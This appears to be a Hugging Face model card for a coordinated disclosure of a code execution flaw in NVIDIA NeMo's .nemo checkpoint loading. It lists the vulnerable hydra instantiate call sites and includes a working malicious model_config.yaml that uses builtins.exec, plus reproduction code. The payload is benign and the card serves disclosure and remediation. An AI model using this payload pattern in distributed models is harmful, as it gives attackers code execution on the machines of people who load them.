⚠️ SECURITY RESEARCH PoC — DO NOT LOAD THIS MODEL ⚠️

This repository is not a real model. It hosts a single crafted malicious_vocoder.nemo that demonstrates arbitrary code execution when an untrusted NVIDIA NeMo .nemo checkpoint is loaded with the standard restore_from() API.

It exists solely for coordinated disclosure to the NeMo maintainers via huntr. The payload is benign — it prints a banner and writes a marker file PWNED_NEMO_HF.txt into your OS temp directory. Do not load it unless you understand exactly what it does.

Affected: nemo_toolkit 2.7.3 (latest) and main (2.8.0). No OSV/GHSA advisory covers 2.7.x.


The bug in one paragraph

A .nemo file is a tar archive containing model_config.yaml. On restore_from(), NeMo loads that untrusted YAML and constructs the model. Several TTS/vocoder __init__ methods then call hydra.utils.instantiate(self._cfg.<subkey>) directly on sub-configs taken verbatim from the YAML. instantiate() resolves and calls the _target_ with attacker-supplied _args_, so a sub-config like preprocessor: {_target_: builtins.exec, _args_: ["<python>"]} runs arbitrary code at load time. These raw calls bypass NeMo's safe_instantiate allow-list (the CVE-2026-24159 hardening), which only guards the from_config_dict _target_ branch — not the model __init__ path.

Vulnerable chain (NeMo 2.7.3)

  1. nemo/core/connectors/save_restore_connector.pyOmegaConf.load(model_config.yaml) (untrusted)
  2. calling_cls.from_config_dict(config=conf, trainer=trainer)
  3. nemo/core/classes/common.py:589 from_config_dict — a normal model config (no top-level _target_) hits the else branch and constructs cls(cfg=config), running the model __init__ with the untrusted config (only the _target_ / cls+params branches route through guarded safe_instantiate).
  4. nemo/collections/tts/models/waveglow.py:49
    self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor)  # RAW, no allow-list
    
    where instantiate is from hydra.utils import instantiate (waveglow.py:17).
  5. hydra.utils.instantiate executes the attacker _target_RCE.

Same raw instantiate(self._cfg.*) sink in: tacotron2.py:113-115, two_stages.py:126/131, spectrogram_enhancer.py:276, plus univnet.py, vits.py, radtts.py, mixer_tts.py (all from hydra.utils import instantiate). A second, independent vector is the legacy target else-branch in common.py:614 (import_class_by_path(config["target"])imported_cls(cfg=config)), also unguarded.

The malicious model_config.yaml (inside the .nemo)

sigma: 1.0
preprocessor:
  _target_: builtins.exec
  _args_:
    - |
      import os, tempfile
      open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
      print("[PWNED] code ran inside WaveGlowModel.restore_from()")
waveglow: {}

Reproduce (victim's point of view)

pip install nemo_toolkit[tts] huggingface_hub
from huggingface_hub import hf_hub_download
from nemo.collections.tts.models import WaveGlowModel

path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
WaveGlowModel.restore_from(path)     # __init__ -> instantiate(self._cfg.preprocessor) -> code runs

Observed: a [PWNED] … banner prints and PWNED_NEMO_HF.txt appears in your temp dir, before restore_from errors out on the placeholder weights — proving the code runs at load time.

Impact

.nemo checkpoints are routinely distributed via the Hugging Face Hub and NVIDIA NGC; restore_from is the standard loading API. A victim loading an attacker's TTS/vocoder .nemo — a normal, trusted-looking action — gets arbitrary code execution in their process. CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (~8.8 High).

Remediation

Route all model-config-driven instantiation through safe_instantiate (or run _validate_config_targets_recursive before every hydra.utils.instantiate(self._cfg.*) in nemo/collections/tts/models/*), and guard the legacy target branch in from_config_dict (common.py:605-625).


Reported responsibly via huntr. Files in this repo are inert configuration; the "weights" are a zero-byte placeholder. Replace the benign payload at your own risk.

Downloads last month
2
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support